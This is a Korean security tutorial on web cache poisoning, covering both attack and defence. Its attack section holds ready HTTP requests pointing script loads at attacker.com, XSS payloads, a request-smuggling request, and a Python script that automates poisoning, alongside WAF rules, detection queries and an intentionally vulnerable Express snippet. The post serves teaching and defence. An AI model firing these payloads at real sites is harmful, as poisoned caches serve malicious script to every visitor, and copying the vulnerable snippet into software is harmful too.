/보안 기법/Web Cache Poisoning — 캐시를 이용한 공격
웹 취약점2026-05-03

Web Cache Poisoning — 캐시를 이용한 공격

웹 캐시 포이즈닝(Web Cache Poisoning)은 공격자가 웹 캐시 서버(CDN, 리버스 프록시, 로드 밸런서 등)에 악의적인 응답을 저장하게 만들어, 이후 해당 캐시를 요청하는 모든 사용자에게 악성 콘텐츠를 제공하는 공격 기법입니다. 이 공격은 2018년 James Kettle이 PortSwigger Research에서 체계적으로 정리하며 주목받기

#Web Cache#Cache Poisoning#HTTP#XSS#캐시

웹 캐시 포이즈닝(Web Cache Poisoning) 공격 기법

기본 원리

웹 캐시 포이즈닝(Web Cache Poisoning)은 공격자가 웹 캐시 서버(CDN, 리버스 프록시, 로드 밸런서 등)에 악의적인 응답을 저장하게 만들어, 이후 해당 캐시를 요청하는 모든 사용자에게 악성 콘텐츠를 제공하는 공격 기법입니다. 이 공격은 2018년 James Kettle이 PortSwigger Research에서 체계적으로 정리하며 주목받기 시작했습니다.

캐시 동작 방식

웹 캐시는 요청을 "캐시 키(Cache Key)"와 "비캐시 키(Unkeyed Input)"로 구분합니다.

  • 캐시 키: 캐시 항목을 식별하는 데 사용되는 요청의 일부 (보통 URL, Host 헤더)
  • 비캐시 키: 캐시 키에는 포함되지 않지만 서버 응답에 영향을 주는 입력값 (특정 HTTP 헤더, 쿼리 파라미터 등)

공격의 핵심은 바로 이 불일치(discrepancy)에 있습니다. 백엔드 서버는 비캐시 키 입력을 처리해 응답을 생성하지만, 캐시 서버는 이를 무시하고 동일한 캐시 키로 저장합니다. 따라서 공격자가 악성 비캐시 키 입력을 포함한 요청을 보내면, 그 응답이 캐시에 저장되어 다른 사용자들에게도 전달됩니다.

공격 흐름 다이어그램

[공격자] → 악성 헤더 포함 요청 → [캐시 서버] → [백엔드 서버]
                                                        ↓
                                              악성 응답 생성 (헤더 반영)
                                                        ↓
[캐시 서버] ← 악성 응답 ← ← ← ← ← ← ← ← ← ← ← ← ← ←
      ↓
   캐시 저장
      ↓
[일반 사용자] → 동일 URL 요청 → [캐시 서버] → 캐시된 악성 응답 반환

공격에 활용되는 주요 비캐시 키 헤더

헤더 설명
X-Forwarded-Host 원본 호스트 정보 전달
X-Forwarded-Scheme 원본 스킴(HTTP/HTTPS) 전달
X-Forwarded-For 클라이언트 IP 전달
X-Original-URL 원본 URL 재정의
X-Host 호스트 헤더 대체
Forwarded RFC 7239 표준 포워딩 헤더

공격 기법 상세

1. 헤더 기반 캐시 포이즈닝

가장 일반적인 형태입니다. 백엔드가 X-Forwarded-Host 헤더를 신뢰하여 응답에 반영할 때 발생합니다.

GET / HTTP/1.1
Host: victim.com
X-Forwarded-Host: attacker.com

백엔드 응답이 다음과 같이 헤더를 반영한다면:

<script src="https://victim.com/static/app.js"></script>

위 요청에 대한 응답은:

<script src="https://attacker.com/static/app.js"></script>

이 응답이 캐시에 저장되면, 이후 victim.com에 접속하는 모든 사용자가 attacker.com의 악성 스크립트를 실행하게 됩니다.

2. 쿠키 기반 캐시 포이즈닝

GET /page HTTP/1.1
Host: victim.com
Cookie: session=payload<script>alert(1)</script>

백엔드가 쿠키 값을 그대로 응답에 삽입하고, 해당 쿠키가 캐시 키로 사용되지 않는 경우 발생합니다.

3. 쿼리 파라미터 캐싱 우회

일부 캐시 서버는 특정 파라미터(예: utm_source, fbclid)를 캐시 키에서 제외합니다.

GET /page?utm_source=<script>alert(1)</script> HTTP/1.1
Host: victim.com

캐시 서버가 utm_source를 무시하면 /page에 대한 캐시로 저장되고, 백엔드가 이 값을 응답에 반영하면 XSS가 캐시됩니다.

4. HTTP 요청 스머글링과 결합

HTTP/1.1과 HTTP/2 전환 지점에서 요청 스머글링과 결합하면 더욱 강력한 공격이 가능합니다.

POST / HTTP/1.1
Host: victim.com
Content-Length: 50
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
X-Forwarded-Host: attacker.com

5. Fat GET 요청

일부 서버는 GET 요청의 본문을 처리합니다.

GET / HTTP/1.1
Host: victim.com
Content-Length: 48

search=<script>alert(document.cookie)</script>

실습 도구 및 탐지 방법

Param Miner를 이용한 비캐시 키 헤더 발견

Burp Suite의 Param Miner 확장을 활용한 자동 탐지:

1. Burp Suite > Extender > BApp Store에서 Param Miner 설치
2. 대상 요청에서 우클릭 > Guess headers 선택
3. 결과에서 "Cacheable" 응답에 영향을 주는 헤더 확인

수동 테스트 절차

# 1. 캐시 가능 여부 확인 (Cache-Control, Age 헤더 관찰)
curl -I https://victim.com/

# 2. 비캐시 키 헤더 테스트
curl -H "X-Forwarded-Host: canary-test.attacker.com" \
     https://victim.com/ -v

# 3. 응답에서 canary 값 반영 여부 확인
# 4. 동일 URL을 헤더 없이 재요청하여 캐시 확인
curl https://victim.com/ -v

Python을 이용한 자동화 테스트

import requests
import time

TARGET = "https://victim.com/"
CANARY = "canary-test-value.attacker.com"

# 악성 헤더 포함 요청으로 캐시 포이즈닝 시도
poison_headers = {
    "X-Forwarded-Host": CANARY,
    "X-Forwarded-Scheme": "nothttps",
    "Cache-Control": "no-cache"  # 캐시 우회하여 백엔드에 도달
}

print("[*] 포이즈닝 요청 전송...")
r1 = requests.get(TARGET, headers=poison_headers)
print(f"[*] 응답 코드: {r1.status_code}")
print(f"[*] 응답에 canary 포함 여부: {CANARY in r1.text}")

# 잠시 대기 후 일반 요청으로 캐시 확인
time.sleep(1)
print("[*] 캐시 확인 요청 전송...")
r2 = requests.get(TARGET)
print(f"[*] 캐시된 응답에 canary 포함 여부: {CANARY in r2.text}")

if CANARY in r2.text:
    print("[!] 캐시 포이즈닝 성공! 취약점 확인됨")
else:
    print("[-] 캐시 포이즈닝 실패 또는 취약점 없음")

방어 방법

1. 캐시 키 정규화 및 설정 강화

# Nginx 캐시 키 명시적 설정
proxy_cache_key "$scheme$request_method$host$request_uri";

# 불필요한 헤더를 백엔드로 전달하지 않음
proxy_set_header X-Forwarded-Host "";
proxy_set_header X-Original-URL "";

2. Varnish 캐시 설정

sub vcl_hash {
    hash_data(req.url);
    if (req.http.host) {
        hash_data(req.http.host);
    } else {
        hash_data(server.ip);
    }
    # X-Forwarded-Host는 캐시 키에 포함하지 않고 백엔드 전달도 금지
    return (lookup);
}

sub vcl_recv {
    # 위험한 헤더 제거
    unset req.http.X-Forwarded-Host;
    unset req.http.X-Original-URL;
    unset req.http.X-Rewrite-URL;
}

3. Cache-Control 헤더 적절한 설정

# 동적 콘텐츠는 캐시 금지
Cache-Control: no-store, private

# 정적 리소스는 명시적으로 캐시 허용
Cache-Control: public, max-age=86400, immutable

4. 백엔드 애플리케이션 수준 방어

// Express.js - 신뢰할 수 없는 헤더 사용 금지
app.use((req, res, next) => {
  // X-Forwarded-Host 헤더를 직접 사용하지 않음
  // req.headers['x-forwarded-host'] 대신 설정된 호스트명 사용
  const trustedHost = process.env.TRUSTED_HOST || 'example.com';
  req.trustedHost = trustedHost;
  next();
});

// 잘못된 예시
app.get('/', (req, res) => {
  const host = req.headers['x-forwarded-host'] || req.headers.host;
  res.send(`<script src="https://${host}/app.js"></script>`); // 위험!
});

// 올바른 예시
app.get('/', (req, res) => {
  const host = process.env.TRUSTED_HOST; // 환경변수에서 가져옴
  res.send(`<script src="https://${host}/app.js"></script>`);
});

5. CDN 레벨 설정 (CloudFront 예시)

{
  "CachePolicy": {
    "CachePolicyConfig": {
      "Name": "secure-cache-policy",
      "ParametersInCacheKeyAndForwardedToOrigin": {
        "HeadersConfig": {
          "HeaderBehavior": "none"
        },
        "QueryStringsConfig": {
          "QueryStringBehavior": "whitelist",
          "QueryStrings": {
            "Items": ["id", "page"]
          }
        }
      }
    }
  }
}

탐지 방법

서버 로그 기반 탐지

# 비정상적인 헤더가 포함된 요청 탐지
grep -E "X-Forwarded-Host|X-Original-URL|X-Rewrite-URL" /var/log/nginx/access.log | \
  awk '{print $1, $7}' | sort | uniq -c | sort -rn | head -20

# 단시간 내 동일 URL 반복 요청 (캐시 포이즈닝 시도 패턴)
awk '{print $1, $7}' /var/log/nginx/access.log | \
  sort | uniq -c | sort -rn | \
  awk '$1 > 100 {print}' | head -20

WAF 규칙 (ModSecurity)

# 위험한 헤더 차단
SecRule REQUEST_HEADERS:X-Forwarded-Host "@rx [^a-zA-Z0-9\.\-]" \
    "id:1001,phase:1,deny,status:400,msg:'Invalid X-Forwarded-Host header'"

SecRule REQUEST_HEADERS:X-Original-URL "@rx ." \
    "id:1002,phase:1,deny,status:400,msg:'X-Original-URL header blocked'"

SIEM 알림 규칙 (Splunk SPL)

index=web_logs
| rex field=_raw "X-Forwarded-Host: (?<fwd_host>[^\s]+)"
| where isnotnull(fwd_host) AND fwd_host != "legitimate.com"
| stats count by src_ip, fwd_host, uri_path
| where count > 10
| alert

참고 도구 및 자원

도구/자원 종류 설명 URL
Burp Suite + Param Miner 탐지 도구 비캐시 키 헤더 자동 발견 portswigger.net
Web Cache Vulnerability Scanner 스캐너 자동화된 캐시 포이즈닝 탐지 github.com/Hackmanit/Web-Cache-Vulnerability-Scanner
PortSwigger Web Security Academy 학습 자료 실습 랩 포함 상세 설명 portswigger.net/web-security/web-cache-poisoning
James Kettle 원본 논문 연구 자료 공격 기법 최초 체계화 portswigger.net/research/practical-web-cache-poisoning
OWASP Web Cache Poisoning 참고 문서 OWASP 공식 가이드라인 owasp.org
Varnish Cache 보안 설정 공식 문서 VCL 보안 설정 가이드 varnish-cache.org

⚠️ 주의사항: 웹 캐시 포이즈닝 공격은 단일 사용자가 아닌 해당 캐시를 공유하는 모든 사용자에게 영향을 미칩니다. 테스트는 반드시 본인 소유이거나 명시적 허가를 받은 시스템에서만 수행하십시오. 실제 서비스에 대한 무단 테스트는 형사 처벌 대상이 될 수 있습니다. 또한 "canary" 값을 이용한 테스트 중에도 실수로 캐시를 오염시킬 수 있으므로 프로덕션 환경에서는 각별한 주의가 필요합니다.

⚠️ 이 글의 내용은 교육 및 허가된 침투 테스트 목적으로만 사용해야 합니다. 무단으로 타인의 시스템에 적용하는 것은 법적 처벌을 받을 수 있습니다.